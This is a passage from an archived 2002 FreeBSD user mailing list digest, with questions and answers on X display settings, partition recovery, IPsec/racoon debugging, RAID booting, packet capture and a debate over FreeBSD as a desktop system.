function - this is available at boot up provided a
signal to the TV is detected.

I pulled my regular videa card out and put the SiS
6326 in and booted in to windows.  It was set to
640x480 by 256 colours.  Windows came up fine on the
TV and it asked for a driver disk for the new card it
had found.  Happy with that I rebooted into FreeBSD
and made a copy of my /etc/X11/XF86Config file.
I've tried all sorts of settings but I cannot get a
usable display on the TV.  What I do get is black and
white lines flickering quite fast.
I live in Australia and we have PAL TV's here.  I'm
not quite sure of the standard exactly.
Can someone supply any details as to what would be
needed to get the display wokring properly through my
TV?  I'd like to use 640x480 and 800x600 resolutions
ideally.

Thanks in advance,
PJ


http://digital.yahoo.com.au - Yahoo! Digital How To
- Get the best out of your PC!

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From owner-freebsd-questions  Mon Jul 29  8: 8:41 2002
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  On Jul 28 at 20:14, Hanspeter Roth spoke:

> And it seems that the FreeBsd partition starts on logical cylinder
> 2081. I realized now that this is beyond the 1023 boundary. But it
> seems to have worked before.
> Gpart found:
> 
> Primary partition(3)
>    type: 165(0xA5)(FreeBSD/NetBSD/386BSD)
>    size: 3216mb #s(6586650) s(33431265-40017914)
>    chs:  (1023/254/63)-(1023/254/63)d (2081/0/1)-(2490/254/63)r
> 
> It shows two different chs settings.
> I tryed to set the partition using Linux-sfdisk specifying start and
> size in sectors. After booting the FreeBSD fixit cd fdisk shows some
> strange chs setting: 1023/254/63-1023/254/63.

I use sfdisk on my laptop's hd frequently to map different BSDs.
But for this situation sfdisk doesn't seem to be optimal.

I installed another dummy FreeBSD on a spare partition and deleted
it afterwards. But now I can boot the original FreeBSD again.

The magic seems to be in the header value which obviously must be
255 rather than 254.

> Is there some (free/commertial) tool which can reconstruct FreeBSD
> partitions?

I downloaded Ranish partition manager but then tried testdisk first.
(http://www.cgsecurity.org/testdisk.html)
Testdisk also allowed me to find my other logical fat partitions
which I couldn't find with gpart (0.10?).

-Hanspeter

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From owner-freebsd-questions  Mon Jul 29  8:21:44 2002
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Date: Mon, 29 Jul 2002 11:21:35 EDT
From: Peter Christie <christie@idsi.net>
Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
To: grog@lemis.com
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On 29 Jul 2002 06:21 EDT you wrote:

> > Date: Sun, 28 Jul 2002 12:00:16  0930
> > From: Greg 'groggy' Lehey <grog@lemis.com>
> > To: Peter Leftwich <Hostmaster@Video2Video.Com>
> > Cc: Michael Wells <mwvw@adelphia.net>,
> > 	FreeBSD LIST <FreeBSD-Questions@FreeBSD.Org>
> > Subject: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
> 
> > The real problem I have is knowing which of the over 7,000 ports you
> > want to install to get "basic" desktop functionality.
> 
>     yes. and this is the problem with stuff like your
>     instant-workstation port. you can't please everyone, and i dare to
>     say that any such thing will only please a tiny minority of people.
>     probably the reason you haven't got much feedback on the port.
> 
> > Some time ago I created the "instant-workstation" port, but didn't
> > make much noise about it.  instant-workstation basically installs a
> > number of dependent ports (see below for a list) and then does some
> > minor configuration.  Over the past couple of days I've been
> > installing a brand new machine (laptop) for a friend, and I've been
> > looking at the rough edges.  Here's what I've found:
> > 
> > 1.  Some of the dependent ports don't build cleanly.  This obviously
> >     requires some attention.
> 
>     yes. last time i tried (two months ago), netscape port was broken
>     (or was it FORBIDDEN for a reason i forgot? dunno)
> 
> > 2.  "instant" is a misnomer, at least if you build from source.  I'm
> >     building on a Dell Inspiron 7500 with a 600 MHz processor, and it
> >     takes over 12 hours.
> 
>     as suggested by someone else before, it could use packages where
>     possible, but that would make it fall out of the ports system
>     pretty much.
> 
> > 3.  Once it's built, it works "out of the box".  I've installed the
> >     XFree86 4 port, and installation is really nothing more than this:
> > 
> >     # X -configure
> >     # mv /root/XF86Config.new /etc
> >     # echo exec kdestart > ~me/.xinitrc
> > 
> >     You can then run startx or xdm and end up in a relatively complete
> >     kde environment.
> 
>     this still makes it lag behind most of linux distros in terms of
>     "ease of use". the (new) user still has to know to perform these steps.
>     note that i don't care. i don't use linux for a reason.
>  
> > So what's in instant-workstation?  Currently I have:
> > 
> > 	acroread
> > 	bash
> > 	cdrecord
> > 	dos2unix
> > 	emacs
> > 	fetchmail
> > 	gs
> > 	grip
> > 	gimp
> > 	gv
> > 	gpg
> > 	ispell
> > 	startkde
> > 	mkisofs
> > 	mount_smbfs
> > 	mutt
> > 	netscape
> > 	xtset
> > 	xmms
> > 	xv
> > 
> > My questions to you: is there anything missing?
> 
>     inevitably, yes. plus there are things *i* don't use on that list.
>     shell, for example. i don't use bash. if you want to make the port
>     attractive for me, you have to let me choose my favorite shell.
> 
>     if, however, i have to select a shell, i can
>     % (cd /usr/ports/shells/chooseone && make install clean)
>     just as well. same with the other software.
> 
>     repeat with all the other programs on the list.
> 
> > Has anybody tried instant-workstation?  I'd be interested in
> > suggestions about how to improve it.
> 
>     you could perhaps abstract the installed software away into software
>     categories similar to the /usr/ports directory:
> 
>     which shell do you want to use? (ash bash tcsh ksh zsh):
>     which browser do you want to use? (...):
> 
>     etc. but one can install the ports the usual way just as well.
> 
>     a big boon would be a possibility to configure the ports from here.
>     that would probably require a change to the ports system: right now
>     you can only tell what knobs a port features by reading the
>     Makefile.
> 
> -- 
> FreeBSD 4.6-STABLE
> 12:03PM up 12 days, 22:22, 4 users, load averages: 0.00, 0.00, 0.00
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

As an aspiring hacker, I find the challenge of learing FreeBSD very rewarding in and of itself, but would I put it on my 'home' computer for my wife and kids to use? not as it is now . . . it's hard enough keeping them up and runnning with windoze, and the kids are into games mostly, and FreeBSD is not a good gaming platform. I could probably get the wife converted, as she mostly uses the net for web browsing and e-mail.

But the idea here is to set up a "convert" (be it from M$, Mac, or otherwise) with a 'basic' desktop system that can be up and running with minimum effort and complications. This would let more people 'use' FreeBSD as a desktop, and provide feedback for the developers. FreeBSD will never be a great desktop OS if you don't build a huge user-base, which will then get you support from manufacturers for drivers and such, as well as the 'other' software companies for user-land apps / games.

With the many open-source/freeware applications available for FreeBSD, this would involve a substaintial 'weeding' process, and yes, 'your' favorites may not make the cut, but there are a great many wise people that have dedicated much time to FreeBSD and I'm sure that a consensus would produce a highly 'useable' desktop distro. As a new user, you're better off running the same user-land apps as the 'majority', as getting help with any questions will be easier.

And, honestly, if you're considering delving into *nix of any variety, you're probably somewhat ahead of the learning curve to begin with. So customizing your new OS should be relativly easy.

FreeBSD wouldn't change as far as the 'power-user' is concerned, but would be simple to install and use for the average, new to *nix, 'desktop-user'.




Pete C

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From owner-freebsd-questions  Mon Jul 29  8:28:38 2002
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Date: Mon, 29 Jul 2002 10:28:34 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: Paul Jansen <vlaero@yahoo.com.au>
Cc: questions@FreeBSD.ORG
Subject: Re: xfree and TV question
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In the last episode (Jul 30), Paul Jansen said:
> I've seached all over the place for info on this but haven't been
> able to find anything.
> 
> I have a SIS 6326 PCI card that has TV-out on it.  It doesn't require
> any special drivers to use the TV out function - this is available at
> boot up provided a signal to the TV is detected.
> 
> I pulled my regular videa card out and put the SiS 6326 in and booted
> in to windows.  It was set to 640x480 by 256 colours.  Windows came
> up fine on the TV and it asked for a driver disk for the new card it
> had found.  Happy with that I rebooted into FreeBSD and made a copy
> of my /etc/X11/XF86Config file. I've tried all sorts of settings but
> I cannot get a usable display on the TV.  What I do get is black and
> white lines flickering quite fast.

You probably have to make sure your refresh rate in X is set to
something your TV can use (50Hz is the PAL refresh rate, I think?) .
You'll have to edit the "Monitor" section of the XF86Config.  Try
HorizSync 30-50, VertRefresh 50.  Note that this will make for very
flickery viewing on your PC monitor, if it even syncs at all.

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Mon Jul 29  8:36:39 2002
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Date: Mon, 29 Jul 2002 10:36:24 -0500
From: Terry Todd <tlt@badger.tltodd.com>
To: questions@FreeBSD.ORG
Subject: netnews server
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I need to set up an internal only netnews server.  What is the best
way to go about this?  The clients will be running on a mix of
Linux and Windows desktops.

I have a FreeBSD 4.6-STABLE server I can run it on.

TIA,
Terry Todd


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From owner-freebsd-questions  Mon Jul 29  9: 4:37 2002
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From: Paulo Roberto <nirv199@yahoo.com>
Subject: how to capture packets going thru tun0
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Hello,

Is there a way to capture packets going thru dial-up (tun0)
connections?

thanks

PR

__________________________________________________
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Yahoo! Health - Feel better, live better
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From owner-freebsd-questions  Mon Jul 29  9:12:44 2002
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Subject: RE: how to capture packets going thru tun0
Date: Mon, 29 Jul 2002 19:09:18 +0300
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> -----Original Message-----
> From: Paulo Roberto [mailto:nirv199@yahoo.com]
> Sent: Monday, July 29, 2002 19:05
> To: freebsd-questions@freebsd.org
> Subject: how to capture packets going thru tun0
> 
> 
> Hello,
> 
> Is there a way to capture packets going thru dial-up (tun0)
> connections?

how about
tcpdump -i tun0

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From owner-freebsd-questions  Mon Jul 29  9:30:17 2002
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From: "Lee" <lee@unassemble.co.uk>
To: "Terry Todd" <tlt@badger.tltodd.com>, <questions@FreeBSD.ORG>
References: <20020729103624.A7162@badger.tltodd.com>
Subject: Re: netnews server
Date: Mon, 29 Jul 2002 17:35:00 +0100
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Terry,

I have setup INN (available from www.isc.org) on FreeBSD-4.6 Stable, seems
to run OK.

It does have a fairly complex config file (nothing of sendmail standard
though) but should be too bad to setup.

Hope this helps

Regards

Lee
----- Original Message -----
From: "Terry Todd" <tlt@badger.tltodd.com>
To: <questions@FreeBSD.ORG>
Sent: Monday, July 29, 2002 4:36 PM
Subject: netnews server


>
> I need to set up an internal only netnews server.  What is the best
> way to go about this?  The clients will be running on a mix of
> Linux and Windows desktops.
>
> I have a FreeBSD 4.6-STABLE server I can run it on.
>
> TIA,
> Terry Todd
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>
>



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From owner-freebsd-questions  Mon Jul 29  9:35:20 2002
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From: "Matthew Grooms" <mgrooms@seton.org>
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Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ...
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Dru,

     I did some checking this morning with tcpdump ( as you suggested )
and here is the info. When the ipsec session is initiated from the
inside of my home network ( freebsd->vpn1 ), nothing happens. I assume
since the vpn1 box does not even find this traffic interesting. Here is
the log output from the respective endpoints.

FreeBSD side ...

tcpdump: listening on ed0
11:47:42.628327 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
11:48:02.818812 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
11:48:22.109505 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
11:48:42.119398 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
11:49:02.130134 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
11:49:22.150308 66.90.146.202 > 65.118.63.252: 10.22.200.1.500 >
10.21.2.253.500: isakmp: phase 1 I ident: [|sa] (ipip)
^C
340 packets received by filter
0 packets dropped by kernel

Linux / VPN1 side ...

tcpdump: listening on eth0
11:23:35.854538 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:23:35.855482 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]
11:23:56.020501 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:23:56.020576 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]
11:24:15.307853 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:24:15.307931 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]
11:24:35.361459 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:24:35.361542 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]
11:24:55.376960 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:24:55.377046 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]
11:25:15.357907 66.90.146.202 > 65.118.63.252: 10.22.200.1.isakmp >
10.21.2.253.isakmp: isakmp: phase 1 I ident: [|sa] (ipip)
11:25:15.357962 65.118.63.252 > 66.90.146.202: icmp: 65.118.63.252
protocol 4 unreachable [tos 0xc0]

1073807371 packets received by filter
1 packets dropped by kernel

The really interesting part for me is when the ipsec session is
initiated by the vpn1 side. Racoon accepts the traffic and responds.
Here is the log output from the respective sides for this scenario.

FreeBSD side ...

tcpdump: listening on ed0
11:53:29.269204 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase 1 I
agg: [|sa] (DF)
11:53:29.381550 66.90.146.202.500 > 65.118.63.252.500: isakmp: phase 1 R
agg: [|sa]
11:53:29.462243 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase 1 I
agg:
    (hash: len=16) (DF)
11:53:29.575229 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase 1 I
agg:
    (hash: len=16) (DF)
11:53:29.670112 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase 1 I
agg:
    (hash: len=16) (DF)
11:53:30.001215 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase
2/others I oakley-quick[E]: [|hash] (DF)
11:53:32.001928 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase
2/others I oakley-quick[E]: [|hash] (DF)
11:53:34.002585 65.118.63.252.500 > 66.90.146.202.500: isakmp: phase
2/others I oakley-quick[E]: [|hash] (DF)
^C
60 packets received by filter
0 packets dropped by kernel

Linux / VPN1 side ...

tcpdump: listening on eth0
11:29:22.374083 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg: [|sa] (DF)
11:29:22.551798 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 1 R agg: [|sa]
11:29:22.569977 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
11:29:22.677674 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
11:29:22.777666 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
11:29:23.106051 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
11:29:25.107675 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)
11:29:27.107672 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 2/others I oakley-quick[E]: [|hash] (DF)

Here is my racoon.conf file ...

# $KAME: racoon.conf.in,v 1.18 2001/08/16 06:33:40 itojun Exp $

path pre_shared_key "/usr/local/etc/racoon/psk.txt" ;
path certificate "/usr/local/etc/cert" ;
log debug2;

# "padding" defines some parameter of padding.  You should not touch
these.
padding
{
        maximum_length 20;      # maximum padding length.
        randomize off;          # enable randomize length.
        strict_check off;       # enable strict check.
        exclusive_tail off;     # extract last one octet.
}

# if no listen directive is specified, racoon will listen to all
# available interface addresses.
listen
{
        #isakmp ::1 [7000];
        #admin [7002];          # administrative's port by kmpstat.
        #strict_address;        # required all addresses must be bound.
}

# Specification of default various timer.
timer
{
        # These value can be changed per remote node.
        counter 5;              # maximum trying count to send.
        interval 20 sec;        # maximum interval to resend.
        persend 1;              # the number of packets per a send.

        # timer for waiting to complete each phase.
        phase1 30 sec;
        phase2 15 sec;
}

remote anonymous
{
        exchange_mode main,aggressive;
        nonce_size 16;
        lifetime time 10 min;   # sec,min,hour
        initial_contact on;
        support_mip6 on;
        proposal_check obey;    # obey, strict or claim

        proposal {
                encryption_algorithm 3des;
                hash_algorithm md5;
                authentication_method pre_shared_key;
                dh_group 2;
        }
}

sainfo anonymous
{
        pfs_group 1;
        lifetime time 36000 sec;
        encryption_algorithm 3des;
        authentication_algorithm hmac_md5,hmac_sha1;
        compression_algorithm deflate;
}

Any ideas, insight ? This is driving me insane! :(

Matthew

>>> Dru <dlavigne6@cogeco.ca> 07/27/02 07:36 AM >>>

Have you tried a "tcpdump port 500" during Phase 1 negotiations? This
will
show the proposal exchange so you can see which parts aren't matching
up.
If that doesn't do it, send that output along with your racoon.conf
file.

Dru



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From owner-freebsd-questions  Mon Jul 29  9:35:54 2002
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From: Roman Neuhauser <neuhauser@bellavista.cz>
To: Peter Christie <christie@idsi.net>
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> Date: Mon, 29 Jul 2002 11:21:35 EDT
> From: Peter Christie <christie@idsi.net>
> Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
> To: grog@lemis.com
> Cc: FreeBSD-Questions@freebsd.org
 
    Hi Peter,

    please, keep the length of lines you emit below 73 chars, please.
    Also, it would be very considerate of the freebsd mail servers if
    you could snip irrelevant parts of the mail you reply to.

> As an aspiring hacker, I find the challenge of learing FreeBSD very
> rewarding in and of itself, but would I put it on my 'home' computer
> for my wife and kids to use? not as it is now . . . it's hard enough
> keeping them up and runnning with windoze, and the kids are into games
> mostly, and FreeBSD is not a good gaming platform. I could probably
> get the wife converted, as she mostly uses the net for web browsing
> and e-mail.

    Pardon me, but if it's hard enough for someone to operate windows,
    why should freebsd try to be *the* os for them? clearly, and it's
    been said too many times, use a tool you can manage.
 
> But the idea here is to set up a "convert" (be it from M$, Mac, or
> otherwise) with a 'basic' desktop system that can be up and running
> with minimum effort and complications. This would let more people
> 'use' FreeBSD as a desktop, and provide feedback for the developers.

    hm, i'm afraid freebsd is not for the faint of heart. if you're
    a {windows, mac} convert, you better start learning with a unixlike
    os aimed at you: redhat, mandrake, suse. *or* you have to get
    ready to rtfm, rtfm, rtfm.
    
    which is what i did. it's not a coincidence i oppose the idea of
    converting freebsd to another dualbooter's toy. the nature of
    freebsd has been very attractive to me, and i'm really glad this os
    is what it is.

    after all, choice is a Good Thing(TM). if freebsd turns into Just
    Another Linux Distro, why would anyone (read: i) want to use it?

> FreeBSD will never be a great desktop OS if you don't build a huge
> user-base, which will then get you support from manufacturers for
> drivers and such, as well as the 'other' software companies for
> user-land apps / games.

    i don't think this holds water, strictly speaking. freebsd already
    *is* a great desktop os: what is a "great desktop os" lies in the
    eye of the beholder. i've been using freebsd exclusively
    since last september. *for me*, it is the best desktop os i've ever
    used. it supports all the hardware and software i use, with just the
    right "ease of use". 

    i put the term "ease of use" in quotes, because it's actually
    something that is in the eye of the beholder, again.
 
> FreeBSD wouldn't change as far as the 'power-user' is concerned, but
> would be simple to install and use for the average, new to *nix,
> 'desktop-user'.

    no. the existence of yast2 doesn't make use of vi any easier on
    suse linux. i'm glad freebsd has sysinstall, not yast2.
    /stand/sysinstall is really easy to use without mouse.

    summary of my POV:
    quite a few linux distros are combining the "ease of use of windows"
    (read: you *must* use those pesky point'n'click interfaces for
    everything because the underlying config is so mangled it's no
    longer editable by hand) with the "ease of use of unix" (read: it's
    cryptic)
    please, don't turn freebsd into another linux distro. there's enough
    of them.

-- 
FreeBSD 4.6-STABLE
6:08PM up 13 days, 4:27, 9 users, load averages: 0.28, 0.13, 0.08

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From owner-freebsd-questions  Mon Jul 29  9:40:31 2002
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-----Original Message-----
From: "curt" <curtesy@mindspring.com>
To: <freebsd-questions@FreeBSD.ORG>
Date: Fri, 26 Jul 2002 08:46:44 -0700
Subject: Setting up a raid

I have an Iwill XP333MB that has a built-in Highpoint 372 RAID controller. =
 My problem is with atacontrol and booting. =20

First, I finally figured out that in order to use atacontrol to create the =
raid, you must enter the raid identifier in caps!  The man pages give no =
clue as to this requirement.  Very poor documentation here.

Second, when the RAID is created, it apparently reassigns device names or s=
omething to that effect, as with RAID1 configured, the machine will not b=
oot.  It halts complaining that it cannot find the boot device (which in =
pre-RAID configurtion was ad4s1a).  All I get is the mountroot prompt.  T=
rying to boot using the apparent new boot device (ar0, appearing to be id=
entified in dmesg as the combination of ad4 and ad5) by answering the mou=
ntroot command prompt with ufs:ar0s1a, gives a kernel panic.... it cannot=
 find init or any init derivative.  Where are the instructions or example=
s on how to set this up?  I am stuck.. 

HELP!

Curt

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

If it works like my onboard Promise controller, set up 
your RAID array in the BIOS and set your machine to 
boot from it if that's what you want.  Then Soeren's 
very lovely ata driver should allow FreeBSD to grok 
this setup automagically.  (Translation: after setting 
up the BIOS, boot into the install.  Fdisk and 
disklabel will show you the array.  Just put your 
partitions where you want them and you're good to go.)

Jud






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From owner-freebsd-questions  Mon Jul 29  9:46: 0 2002
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From: "Balaji, Pavan" <pavan.balaji@intel.com>
To: "'robert Backhaus'" <robbakfreebsd@yahoo.co.uk>,
	k.hambalko@gmx.de, questions@FreeBSD.ORG
Subject: RE: FreeBSD-Download as full package
Date: Mon, 29 Jul 2002 09:45:47 -0700
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I had this question a couple of months back. Just wanted to shoot it =
back.
Does FreeBSD have a http mirror? I had a big trouble using the ftp =
mirror
from my organization.


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: robert Backhaus [mailto:robbakfreebsd@yahoo.co.uk]
> Sent: Monday, July 29, 2002 5:46 AM
> To: k.hambalko@gmx.de; questions@FreeBSD.ORG
> Subject: Re: FreeBSD-Download as full package
>=20
>=20
> If you want a couple of large downloads, you're after
> the ISO images - to burn onto your own disks.
> ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.6/
> (Actually, this was a little difficult to find, if the
> web designers are listening)
> I downloaded my copy of the first disk over 4 nights.
> The servers do support resuming, adn it should be long
> enough after the last release for the rush to have
> died down.
> I should here suggest that it would be better to
> purchace the disk from one of the retailers, as they
> support freeBSD in return. They'll like me for that.
>=20
> Robert Backhaus
>=20
> --- k.hambalko@gmx.de wrote:
> > Dear Sirs,
> >=20
> > i have visited your sites concerning the download of
> > FreeBSD OS.
> > My question is, if there=B4s a possibility to download
> > the FreeBSD OS
> > as a full package, because on the Ftp-sites the
> > Download seems to=20
> > be only possible in small parts. Any suggestions
> > where i can get a
> > full distribution over the internet? I would be
> > grateful if you could
> > drop me a line.
> >=20
> > With kind regards
> >=20
> > Kris Hambalko
> >=20
> > --=20
> > GMX - Die Kommunikationsplattform im Internet.
> > http://www.gmx.net
> >=20
> >=20
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of
> > the message
>=20
>=20
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20

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I've dealt with this before, but can't remember the solution.

startx works for root, but xdm doesn't work--it kills the server every 
few seconds before the login widget appears (the mouse works).

I've copied the config file to /etc/X11, but that didn't do it.

I remmber having this problem before, just not the solution :(

hawk, ancxious to put his fast new machine to work



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From owner-freebsd-questions  Mon Jul 29 10: 8: 4 2002
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Date: Mon, 29 Jul 2002 19:07:54 +0200
From: Volker Kindermann <freebsd@secspace.de>
To: "Richard E. Hawkins" <dochawk@psu.edu>
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Subject: Re: xf86cfg gives file letting startx work, but not xdm
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Hi hawk,

> startx works for root, but xdm doesn't work--it kills the server every
> 
> few seconds before the login widget appears (the mouse works).

do you have a /root/.xinitrc File? I think so. But do you have a
/root/.xsession File? I don't think so. 

Copy your /root/.xinitrc to /root/.xsession and chmod it to 600. Have a
look in .xsession. The last command (mostly the window-manager must
start with "exec" (without the "").

If this don't work either, post your ~/.xsession file here. 

Hope that helps
 -volker

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From owner-freebsd-questions  Mon Jul 29 10:11:11 2002
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Subject: find question
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X-Loop: FreeBSD.ORG

Hello All,

I want to do a simple find command to find all files older than X days.

# find . -type f -mtime +14 -print

Normally, I would expect the command above to find files modified more 
than 14 days ago.  The syntax is straight out of "UNIX in a Nutshell" by 
O'Reilly & Associates.  However, it does not work in FreeBSD.

I did look at the manpage for find on our FreeBSD 4.1.  The -mtime +n 
syntax is not documented.  How could such an essential feature not be 
implemented in FreeBSD?


Thanks,

Peter Biessener


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From owner-freebsd-questions  Mon Jul 29 10:16:45 2002
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I apologize, I was a little hasty in posting this question, the -mtime 
+n syntax does work.  I failed to pay attention to my CWD.  However, I 
am concerned that I had to dig out my reference book for the correct 
syntax.  It should have been in the manpage.

C Peter Biessener wrote:
> Hello All,
> 
> I want to do a simple find command to find all files older than X days.
> 
> # find . -type f -mtime +14 -print
> 
> Normally, I would expect the command above to find files modified more 
> than 14 days ago.  The syntax is straight out of "UNIX in a Nutshell" by 
> O'Reilly & Associates.  However, it does not work in FreeBSD.
> 
> I did look at the manpage for find on our FreeBSD 4.1.  The -mtime +n 
> syntax is not documented.  How could such an essential feature not be 
> implemented in FreeBSD?
> 
> 
> Thanks,
> 
> Peter Biessener
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message



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From owner-freebsd-questions  Mon Jul 29 10:21:11 2002
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From: "Zeke gomez" <zgomez@cox.net>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Can you help us run a DALnet IRC Server?
Date: Mon, 29 Jul 2002 10:20:22 -0700
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X-Loop: FreeBSD.ORG

Dear Sir or Madam,
We would like you to help sponser us and run an IRC Server for linking to
the DALnet IRC Network, if you can provide us with what we need, please
reply
heres what we need:

A machine with a MINIMUM of a Pentium III 500mhz with 256MB RAM.
The machine should have a MINIMUM 1GB hard drive.

We would prefer a machine that runs FreeBSD as the OS.

The machine must be dedicated to running the IRC Server. This means that it
cannot be running anything other than essential OS Processes needed by the
IRC erver or needed to secure the machine. In addition to this, you are
required to run (preferably on another machine) a secure version of named as
a resolver.  DALnet recommends bind.  See http://www.isc.org/products/BIND/
for more information.

You are also required to run a time sync program.  We currently prefer using
a ntpdate crontab.  For more information, see
http://tycho.usno.navy.mil/NTP/Version3/ntpdate.html

The server must be on a network that is multihomed, which means either:

    - it is located on a network with connectivity to the Internet (minimum
      of 45Mbit/s) to two or more uplink providers; OR

    - it is located in a datacenter of a network operator with multiple
      links (as defined above) to that network operator's backbone


    The connectivity should be a minimum of a DS3/T3 (45Mbit/s)
    to more than one uplink/transit provider, or two such links to the same
    uplink/transit provider.
==========================================================

This is basically all we need at this time. Please reply!



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From owner-freebsd-questions  Mon Jul 29 10:26:58 2002
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Date: Mon, 29 Jul 2002 12:26:41 -0500
To: freebsd-questions@freebsd.org
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Kernel error: m_clalloc failed..???
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X-Loop: FreeBSD.ORG

sageame@sagec$ uname -a
FreeBSD sagec.sage-one.net 4.5-RELEASE-p8 FreeBSD 4.5-RELEASE-p8 #0: Mon
Jul 15 19:49:09 CDT 2002
sageame@sagec.sage-one.net:/usr/obj/usr/src/sys/SAGECKERNEL  i386

I was doing a dump from a server over NFS to a backup HD on the above
server, and suddenly were getting this error message repeatedly scrolling
across the screen:
============================================================================
========
Jul 29 12:10:05 sagec /kernel: m_clalloc failed, consider increase
NMBCLUSTERS value
etc,
etc,
etc,
70+ times and aborted the "dump". Error stopped.
============================================================================
========

On two other server dumps earlier, the error did not occur, so dunno if it
was the "dump" or something else, but the error stopped when I aborted the
dump over the NFS. I thought I saw this issue mentioned on this list a
couple of months back, but cannot find it.

What do I need to do to fix/stop the error....?

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Mon Jul 29 10:30:38 2002
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From: Kip Macy <kip_macy@yahoo.com>
Reply-To: kip@eventdriven.org
Subject: unable to boot after upgrade from 4.5-RELEASE to 4.6-STABLE
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X-Loop: FreeBSD.ORG

I have been running 4.5-RELEASE without any problems
under VMWare for months. I just upgraded to
4.6-STABLE. I may not have installed the new kernel
before rebooting, I can't even get to the boot prompt
as a result. Is there anything I can do? The screen
shows the following when it panics:

BIOS 638kB/261130kB available memory

FreeBSD/i386 bootstrap loader, Revision 0.8
(kmacy@kipster.fsmware.com, Sat Jul 27 14:37:34 PDT
2002)
Loading /boot/defaults/loader.conf
Console: internal video/keyboard
BIOS drive A: is disk 2
BIOS drive C: is disk 3
BIOS 638kB/261130kB available memory


FreeBSD/i386 bootstrap loader, Revision 0.8
(kmacy@kipster.fsmware.com, Sat Jul 27 14:37:34 PDT
2002)
Can't work out which disk we are booting from.
Guessed BIOS device 0xffffffff not found by probes.
defaulting to disk0:
Console: internal video/keyboard
BIOS drive A: is disk 4
BIOS drive C: is disk 5
BIOS 638kB/261130kB available memory

FreeBSD/i386 bootstrap loader, Revision 0.8
(kmacy@kipster.fsmware.com, Sat Jul 27 14:37:34 PDT
2002)
Can't work out which disk we are booting from.
Guessed BIOS device 0xffffffff not found by probes,
defaulting to disk0:
panic: free: guard1 fail @ 0x3755c 

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Mon Jul 29 10:51: 3 2002
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X-Loop: FreeBSD.ORG

On Mon, 29 Jul 2002, C Peter Biessener wrote:
> I apologize, I was a little hasty in posting this question, the -mtime
